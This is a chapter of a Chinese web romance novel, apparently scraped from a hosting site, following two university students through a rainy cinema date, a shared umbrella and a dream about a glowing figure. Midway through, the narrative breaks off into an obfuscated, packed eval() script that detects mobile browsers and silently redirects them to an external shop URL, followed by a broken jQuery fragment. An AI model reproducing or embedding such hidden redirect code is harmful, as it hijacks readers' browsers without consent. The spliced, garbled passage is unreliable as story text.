文趣网 > 其他小说 > 祂代表月亮 > 13. 第 13 章
    从饭店出来,外面已经是一片朦胧,夕阳的光藏在雨幕之后,自高处向下看下去,竟然有一丝神秘的美感。

    夏熹凝像是发现了什么有趣的东西,戳戳身边的泠钰,指着外面:“哎,你看,是不是很好看。”

    泠钰顺着看出去,入目却是沾湿观光电梯玻璃的凌乱雨点。

    但夏熹凝的语气那样兴奋,泠钰静静看着,也品出一点美感,于是点头应和:“嗯。”

    电梯叮的一声,缓缓打开门。夏熹凝往外迈出两边,转头看泠钰:“你怎么一直在嗯,我说你喜欢我,你也嗯吗?”

    泠钰踏出电梯的动作一下就顿住了,手脚僵硬,耳根也慢慢红起来。

    “哎呀逗你的,不要挡在电梯口啦。”夏熹凝伸手拉了一把。泠钰踉跄一步,不知所措地站在电梯门外。

    夏熹凝闷声一笑,松手往前走:“快走快走,电影要开场了。”

    泠钰揪着自己的衣摆,目光追随夏熹凝轻快的背影,左耳的珠子又隐隐发热,抿起的嘴翘起一个微小的弧度。

    “嗯。”他答了一声,轻轻的,尚未被那个问问题的人听见,便随着关起的电梯消散在雨幕里。

    ——

    夏熹凝挑了一部经典的爱情电影,虽然融舒晴说恐怖片效果更好,不过夏熹凝无法想象自己尖叫害怕躲泠钰怀里的场景,也无法想象泠钰尖叫害怕躲自己怀里的场景。

    爱情片也好,据说看到高潮的时候相互对视,暧昧氛围会特别浓烈。但夏熹凝调整好表情,坐前两排的小情侣都吻得难分难舍了,泠钰居然还保持着认真严肃的态度目不转睛地看着。

    比无语先产生的是好笑。

    夏熹凝电影也不看了,侧身明目张胆地看着泠钰,非要等他回个头。

    高潮完全过去了,泠钰还保持着相同的姿势,一动不动地看着屏幕。

    夏熹凝眯起眼,凑近几分,在影院变幻的昏暗灯光下,看到泠钰红成一片的耳朵和侧脸。

    也不是一无所觉嘛。

    夏熹凝指尖痒痒的,很想去探一探泠钰的耳朵尖,试试是不是滚烫的。

    电影女主的一声惊呼制止了她。

    看着泠钰愈发僵硬的坐姿,夏熹凝大人大量,还是放过了泠钰。

    这要是摸上去,好好的月亮可能会整个变成红色。

    啊,那天上会出现血月吗?

    夏熹凝看着电影屏幕胡思乱想。

    存在感强烈的视线消失,泠钰偷偷吐出一口气,僵硬的身体放松下来,耳尖的红晕却迟迟退不下去。

    出发前穆淳说的话犹在耳边,“如果是爱情片,记得注意夏学妹的视线,网上说了,漆黑影院的对视最暧昧了,然后顺势牵个手什么的,约会岂不是完美。”

    泠钰伸出缩紧的指尖,没一会儿又收回去,说不清是更羞涩还是更懊悔。

    她刚刚一直看他,会不会也想牵手呢?可他尚未答应,会否太过无礼冒犯呢?

    这些问题注定得不到答案,他纠结的这点时间,电影结束了。

    外面天色完全暗下来,雨还在淅淅沥沥地下。

    夏熹凝隔着玻璃窗往外看了一会儿,偏头:“我们买把伞吧。”

    穆淳的尊尊教诲又浮现在耳边:“我研究了天气预报,今天湿度有点高,可能会下雨,如果下雨,你记得只买一把伞,深夜,雨幕,倾斜的雨伞,夏学妹绝对心动!”

    泠钰攥紧五指,坚定点头:“好,我去买。”

    夏熹凝就这样站在原地看着泠钰急急忙忙跑到附近的店里,表情严肃地选了一把双人伞。

    夏熹凝又往外看了一眼。

    嗯,雨势没有特别大,双人伞应该够用。

    辰枢大学距离商场不过几百米,步行回去绰绰有余。泠钰在商场门口撑开伞,局促地回头看夏熹凝。

    伞是他要买一把的,耳朵也是他先红的。

    夏熹凝不合时宜地想到“又菜又爱玩”。

    但她没出息,她喜欢极了。

    夏熹凝笑眯眯地走到伞下与泠钰并肩,纠结一瞬还是没有顺杆往上爬挽住对方的胳膊。

    从室内看不大的雨走出来却不小,路灯下隐隐可见密密麻麻的雨丝斜着乱飘。

    泠钰撑着伞,步伐不快,迁就夏熹凝的速度。双人伞并没有特别大,夏熹凝盯着伞外雨势,寻思侧边手臂会被打湿。

    可事实是走出好几步,她半点雨没沾上。

    夏熹凝抬头看着在头上严重倾斜的伞。

    “是淋到雨了吗?”泠钰时刻关注着夏熹凝的动作,说话间又把伞挪过来一点。

    “没有,”夏熹凝转头回答,发现泠钰跟她之间的距离至少能塞下半个人。

    这伞是很大吗?夏熹凝的视线再挪过去一点,果不其然看见泠钰半边身子都在伞外面。

    夏熹凝的沉默震耳欲聋。

    她不信泠钰会自己悟到斜伞这么高端的操作。

    “你……”

    泠钰抿着嘴紧张认真地看过来。

    夏熹凝:“……”

    算了。

    “前面有个超市,我们过去一下。”夏熹凝靠近半步,抓住泠钰的衣袖。

    泠钰瞬间紧绷起来,目光坚定地走向超市。

    夏熹凝没让泠钰进来,自己噔噔噔跑进去,在货架上挑了一把超大号双人伞。

    丑是丑了点,但超级大。

    夏熹凝很满意,结账拆包装,然后递给泠钰。

    泠钰撑着自己手上漂亮但略显小巧的双人伞,脸色微变,肉眼可见地紧张起来:“我还是,淋到你了吗?”

    一句对不起差点脱口而出,被夏熹凝赶紧打断。她抬手搭上泠钰这几步路下来已经濡湿的肩膀,嗔怪开口:“我是没有淋到一点雨啦,可你快要被淋湿了。”

    泠钰缩起肩膀,低下头,略显心虚。

    夏熹凝继续把伞塞过去:“学长怕我被淋湿,可我也舍不得你被淋湿,更舍不得跟你分开撑两把伞,只能买一把更大的,可以遮住我们两个人的伞咯。”

    泠钰抬起头,眼里闪烁细碎的光。

    “喏,你不想吗?”看泠钰不动作,夏熹凝作势要自己开伞,拉长调子遗憾道,“好吧,泠钰不愿意跟我同撑一把伞,那我只能……”

    泠钰微微瞪眼,手上的伞还没有收,另一只手已经把伞抢过来了。

    夏熹凝眨眨眼,看着泠钰笑得像是偷腥的猫。

    泠钰反应过来,脸色瞬间变红,侧身收起手上的伞,又把新伞打开。

    “这样就够大了,谁也不会淋湿,谁也不用心疼。”夏熹凝抓住泠钰的衣袖,站到伞下。

    泠钰僵硬了一会儿,欲盖弥彰地解释:“这把伞有点重,所以……”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888343|212652||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “昂,我知道,”夏熹凝笑眯眯地回答,“泠钰学长人长得好看,心地也超级善良的,怕我撑伞累嘛。”

    泠钰:“……”

    他憋了半天,直到女生宿舍楼下都没想到怎么回复。

    “我到了,”夏熹凝站在门禁口,眼珠轻轻转一圈,夺走泠钰手上那把漂亮的伞,“谢谢学长送我回来。”

    她晃晃手里的伞:“也谢谢学长的伞,下次找机会还你哦。”

    泠钰张张嘴,夏熹凝再次打断:“学长再见,晚安。”

    “……晚安。”到最后,泠钰也只憋出这么一句话。

    雨还在下,折返的路上没有月光,泠钰以为自己是憋屈的,却在途经校门保安室时,见到玻璃窗中自己轻扬的笑。

    ——

    夏熹凝今夜好眠,泠钰听着窗外滴滴答答的雨声,带着不曾落下的笑意陷入一个离奇的梦境。

    那是一片伸手不见五指的黑暗,他孤身蹲在黑暗里,看不见东西,听不见声音,也闻不到味道,好像被整个世界遗弃。

    黑暗和孤独吞噬了他。

    他应当摸索着离开这片黑暗,哪怕会踩入无间深渊,也比被黑暗吞噬要好。

    于是他站起来,试探着往前走出一步,被脚下碎石阻挠,跌在地上。

    地上满是碎石,泠钰可以隐约感受到手和膝盖传来的疼痛。

    梦里的泠钰很脆弱,慢吞吞爬起来,抱着膝盖埋头蹲在地上抽抽嗒嗒。

    细微压抑的哭声在黑暗里传开,紧接着,泠钰听到黑暗里的第一道声音。

    “小家伙,你这么哭了?”

    略显稚嫩的声音,却温温柔柔的,落在耳中好似可以传递温度,瞬间融化黑暗带来的冰冷。

    泠钰抬起头,周身浓稠的黑暗褪去,露出满地的碎石和倾颓的石柱。

    而带来光源的,是眼前站着的人。

    “小家伙,你叫什么名字?”

    “泠钰,我,吾名泠钰。”泠钰听见自己回答。

    “泠钰。”她全身包裹在一片明亮却不刺目的暖光里,轻声重复一遍他的名字后半蹲下来,对他伸出手,“你愿不愿意跟我走?”

    泠钰仰头看着她,下意识抬起脏兮兮的手,然后被一阵温暖轻柔包裹。

    “我们去哪儿?”被领着走出一段距离,泠钰抬起头,问身边源源不断散发光源与热量的人。

    “去外面,”她温声说,声音逐渐缥缈起来,“去神域,迎接你的新生。”

    眼前黑暗如迷雾散开,一个古老庄严的轮廓在眼前浮现,手上被一条柔软的丝带划过,泠钰忽然看清了身侧人的衣服,但当他抬头要看那人的容貌时,左耳忽然传来剧烈的灼烧感。

    疼痛作用下,泠钰猛然睁开眼,看到洁白的天花板。

    左耳的灼烧感弱下去,泠钰抚上散发热量的珠子,赤脚下床走去卫生间,盯着镜子里左耳那颗小巧红润的红色珠子。

    这颗珠子自他苏醒就一直被戴在耳朵上,他和碧灵皆没有对这颗珠子的记忆,只是莫名地,觉得它很重要。

    重要东西,有关祭坛上的人还是有关梦里的人,亦或者……

    泠钰回忆珠子的几次异动,都是在夏熹凝面前。

    亦或者,有关夏熹凝。

    泠钰用指腹划过珠子,垂眸回忆梦里那个看不清样貌的人,眼底一片晦涩。